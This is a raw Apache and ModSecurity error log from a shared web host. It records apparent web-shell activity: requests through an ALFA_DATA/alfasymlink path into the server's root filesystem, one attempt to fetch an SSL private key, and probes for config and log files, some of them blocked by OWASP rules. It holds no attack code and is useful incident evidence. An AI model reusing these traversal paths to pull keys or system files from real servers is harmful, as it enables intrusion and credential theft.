[Mon Oct 26 13:11:54.209092 2026] [security2:error] [pid 3064975:tid 3064975] [client 85.208.96.196:25832] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c633a_6194b_9cc62102dbc23be3466eab4d6c38ea02.key"] [unique_id "at-J2sdX-waAlDqXJHtTVwAAABY"]
[Mon Oct 26 13:11:54.209468 2026] [security2:error] [pid 3064975:tid 3064975] [client 85.208.96.196:25832] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c633a_6194b_9cc62102dbc23be3466eab4d6c38ea02.key"] [unique_id "at-J2sdX-waAlDqXJHtTVwAAABY"]
[Mon Oct 26 13:11:54.209885 2026] [security2:error] [pid 3064975:tid 3064975] [client 85.208.96.196:25832] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c633a_6194b_9cc62102dbc23be3466eab4d6c38ea02.key"] [unique_id "at-J2sdX-waAlDqXJHtTVwAAABY"]
[Mon Oct 26 13:11:54.209958 2026] [security2:error] [pid 3064975:tid 3064975] [client 85.208.96.196:25832] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c633a_6194b_9cc62102dbc23be3466eab4d6c38ea02.key"] [unique_id "at-J2sdX-waAlDqXJHtTVwAAABY"]
[Mon Oct 26 13:11:54.209975 2026] [security2:error] [pid 3064975:tid 3064975] [client 85.208.96.196:25832] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c633a_6194b_9cc62102dbc23be3466eab4d6c38ea02.key"] [unique_id "at-J2sdX-waAlDqXJHtTVwAAABY"]
[Mon Oct 26 13:12:04.054485 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 3.232.39.98:36027] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:12:04.165433 2026] [core:error] [pid 3068535:tid 3068535] (13)Permission denied: [client 185.191.171.13:31944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_defrag_ipv6/sections/__ksymtab_strings
[Mon Oct 26 13:12:05.861146 2026] [authz_core:error] [pid 3064975:tid 3064975] [client 3.139.242.79:43203] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 13:12:15.927717 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 3.230.224.6:19693] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:12:35.708533 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 98.84.60.17:45506] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/remove
[Mon Oct 26 13:12:43.902171 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.225.9.97:55427] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:12:46.455379 2026] [security2:error] [pid 3064918:tid 3064918] [client 136.90.88.45:50703] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "lentes1.sherwinpinturas.com"] [uri "/"] [unique_id "at-KDrOTOqUhLlGpMrXY4gAAABM"]
[Mon Oct 26 13:12:46.455430 2026] [security2:error] [pid 3064918:tid 3064918] [client 136.90.88.45:50703] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "lentes1.sherwinpinturas.com"] [uri "/"] [unique_id "at-KDrOTOqUhLlGpMrXY4gAAABM"]
[Mon Oct 26 13:12:55.740418 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 3.215.59.93:37893] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:13:08.938866 2026] [authz_core:error] [pid 3065806:tid 3065806] [client 3.139.242.79:33763] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 13:13:26.590148 2026] [security2:error] [pid 3067833:tid 3067833] [client 107.172.76.131:55561] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-KK5_wwznQnIwm7BV1zAAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 13:13:26.590195 2026] [security2:error] [pid 3067833:tid 3067833] [client 107.172.76.131:55561] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-KK5_wwznQnIwm7BV1zAAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 13:13:43.900471 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 52.0.63.151:54299] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:13:53.367314 2026] [core:error] [pid 3044312:tid 3044312] (13)Permission denied: [client 85.208.96.202:50460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/zswap_entry/total_objects
[Mon Oct 26 13:13:59.676716 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 54.198.33.233:16311] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:14:19.934494 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 44.212.106.171:50875] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:14:23.647414 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 44.205.192.249:21394] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:14:27.719008 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 54.225.199.17:56478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:14:31.696874 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 54.243.63.52:64149] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:14:37.555131 2026] [core:error] [pid 3065020:tid 3065020] (13)Permission denied: [client 185.191.171.17:25546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/min_partial
[Mon Oct 26 13:14:43.649130 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 34.194.165.45:13072] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:14:55.925753 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 34.234.200.207:38166] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:15:07.627665 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.213.213.161:23624] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:15:09.438144 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 185.191.171.10:40184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/alloc_calls
[Mon Oct 26 13:15:19.890194 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 23.21.119.232:19702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:15:22.594963 2026] [ssl:error] [pid 3044312:tid 3044312] (5)Input/output error: [client 185.191.171.18:51822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:15:22.630412 2026] [ssl:error] [pid 3068535:tid 3068535] (5)Input/output error: [client 185.191.171.18:51830] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:15:27.718620 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 100.28.57.133:53760] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:15:31.649178 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 34.196.6.199:51644] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:15:36.134839 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 3.221.222.168:14477] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:15:43.767228 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.219.81.66:26916] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:15:46.702086 2026] [security2:error] [pid 3064975:tid 3064975] [client 63.133.236.176:54381] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/logs/app.log"] [unique_id "at-KwsdX-waAlDqXJHtTYAAAABY"]
[Mon Oct 26 13:15:46.702514 2026] [security2:error] [pid 3064975:tid 3064975] [client 63.133.236.176:54381] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/logs/app.log"] [unique_id "at-KwsdX-waAlDqXJHtTYAAAABY"]
[Mon Oct 26 13:15:46.703533 2026] [security2:error] [pid 3064975:tid 3064975] [client 63.133.236.176:54381] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at-KwsdX-waAlDqXJHtTYAAAABY"]
[Mon Oct 26 13:15:47.861165 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 54.147.80.137:1347] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:15:59.674754 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 54.87.95.7:7138] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:16:03.743968 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 3.230.69.161:55896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/ata2/host1/target1:0:0/1:0:0:0/driver/module/sections/__mcount_loc
[Mon Oct 26 13:16:12.318840 2026] [security2:error] [pid 3052342:tid 3052342] [client 107.172.76.131:55560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Kz3Nsi4cqo2ItOKd-9gAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:16:12.318918 2026] [security2:error] [pid 3052342:tid 3052342] [client 107.172.76.131:55560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Kz3Nsi4cqo2ItOKd-9gAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:16:19.620280 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 3.216.227.216:60926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/module/sections/__mcount_loc
[Mon Oct 26 13:16:21.972142 2026] [core:error] [pid 3068533:tid 3068533] (13)Permission denied: [client 85.208.96.211:47078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_event/poison
[Mon Oct 26 13:16:27.619059 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 54.86.59.155:43321] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:16:31.732147 2026] [ssl:error] [pid 3068534:tid 3068534] (5)Input/output error: [client 52.71.203.206:26641] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:16:36.666692 2026] [security2:error] [pid 3044299:tid 3044299] [client 107.172.76.131:55565] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-K6QWgOHT1_mp01Jum8AAAAD0"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 13:16:36.666749 2026] [security2:error] [pid 3044299:tid 3044299] [client 107.172.76.131:55565] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-K6QWgOHT1_mp01Jum8AAAAD0"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 13:16:47.603481 2026] [ssl:error] [pid 3068533:tid 3068533] (70014)End of file found: [client 50.19.102.70:36997] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:16:50.559903 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 185.191.171.17:42264] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:16:51.911996 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 44.215.231.15:56333] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:17:03.670952 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 52.205.222.214:22203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:17:10.070492 2026] [authz_core:error] [pid 3058833:tid 3058833] [client 34.73.176.93:49700] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Mon Oct 26 13:17:11.669501 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 3.221.244.28:17872] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:17:15.776113 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 52.4.238.8:55490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:17:19.731525 2026] [ssl:error] [pid 3044312:tid 3044312] (70014)End of file found: [client 52.3.26.180:54483] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:17:27.611282 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 18.204.152.114:28118] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:17:31.595342 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 100.29.63.24:64660] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:17:35.750287 2026] [ssl:error] [pid 3068533:tid 3068533] (70014)End of file found: [client 54.235.172.96:8811] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:17:38.684180 2026] [core:error] [pid 3044312:tid 3044312] (13)Permission denied: [client 85.208.96.208:23136] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/order
[Mon Oct 26 13:17:51.745007 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 52.207.47.227:33046] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:17:59.584945 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 44.212.131.50:16062] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:18:08.071765 2026] [ssl:error] [pid 3044312:tid 3044312] (5)Input/output error: [client 34.239.85.139:44958] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:18:11.661304 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 100.29.160.53:24296] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:18:13.507982 2026] [security2:error] [pid 3052342:tid 3052342] [client 107.172.76.131:55560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-LSHNsi4cqo2ItOKd-_wAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:18:13.508029 2026] [security2:error] [pid 3052342:tid 3052342] [client 107.172.76.131:55560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-LSHNsi4cqo2ItOKd-_wAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:18:19.610133 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 3.229.164.203:62031] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/PNP0A03:00/device:11/eject
[Mon Oct 26 13:18:23.709606 2026] [ssl:error] [pid 3068533:tid 3068533] (70014)End of file found: [client 44.210.204.255:45643] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:18:31.639867 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 44.205.192.249:3993] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:18:35.514390 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 52.204.89.12:62545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:18:39.520693 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 3.213.213.161:5188] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:18:43.732571 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 52.204.174.139:6554] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:18:48.183265 2026] [security2:error] [pid 3068535:tid 3068535] [client 43.159.34.167:47920] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at-LeMx-ulTu8vkh2z0tcgAAAAo"], referer: http://sherwinpinturas.com
[Mon Oct 26 13:18:48.194983 2026] [authz_core:error] [pid 3068535:tid 3068535] [client 43.159.34.167:47920] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Mon Oct 26 13:18:51.566645 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 34.224.9.144:16316] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:18:59.624467 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 34.236.185.101:30204] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:19:03.773994 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 52.45.77.169:56801] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:19:07.857985 2026] [ssl:error] [pid 3068533:tid 3068533] (70014)End of file found: [client 54.87.95.7:22992] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:19:11.699187 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 100.29.164.178:27195] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:19:19.880219 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 23.23.213.182:9873] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:19:23.434279 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 85.208.96.200:11300] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_mm_slot/min_partial
[Mon Oct 26 13:19:35.660330 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 100.28.204.82:21688] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:19:43.657430 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 50.16.216.166:12737] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:19:46.209311 2026] [security2:error] [pid 3052342:tid 3052342] [client 107.172.76.131:55560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-LpXNsi4cqo2ItOKd_BgAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:19:46.209356 2026] [security2:error] [pid 3052342:tid 3052342] [client 107.172.76.131:55560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-LpXNsi4cqo2ItOKd_BgAAAAM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:20:08.051246 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 52.204.174.139:59593] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:0a/eject
[Mon Oct 26 13:20:15.865199 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 54.147.182.90:9631] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:20:19.712636 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 52.71.216.196:20829] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:04.0/resource4_wc
[Mon Oct 26 13:20:23.686342 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 18.232.11.247:9609] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:20:27.868098 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 34.231.118.144:45217] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:20:32.178117 2026] [ssl:error] [pid 3068533:tid 3068533] (70014)End of file found: [client 18.205.127.11:37363] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:20:43.784131 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 3.229.164.203:42359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:20:55.938187 2026] [ssl:error] [pid 3068533:tid 3068533] (70014)End of file found: [client 35.173.38.202:42023] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:21:02.231816 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 185.191.171.5:49306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/objects
[Mon Oct 26 13:21:03.914481 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 54.84.169.196:47155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:21:07.895853 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 54.210.152.179:10771] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:21:13.752961 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 185.191.171.8:35416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:21:15.723602 2026] [core:error] [pid 3065020:tid 3065020] (13)Permission denied: [client 98.82.107.102:46892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/virtio-pci/uevent
[Mon Oct 26 13:21:24.098374 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.212.86.97:27201] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:21:39.790487 2026] [core:error] [pid 3068534:tid 3068534] (13)Permission denied: [client 23.21.119.232:4186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:20/subsystem/uevent
[Mon Oct 26 13:21:44.057533 2026] [ssl:error] [pid 3067833:tid 3067833] (5)Input/output error: [client 54.225.98.148:2003] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:22:04.050187 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 34.227.156.153:31298] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:22:11.712445 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 54.166.104.83:64609] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:22:15.742024 2026] [ssl:error] [pid 3068535:tid 3068535] (70014)End of file found: [client 54.156.55.147:54525] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:22:27.993162 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 54.84.147.79:58195] AH02013: coalesce failed to read from data bucket
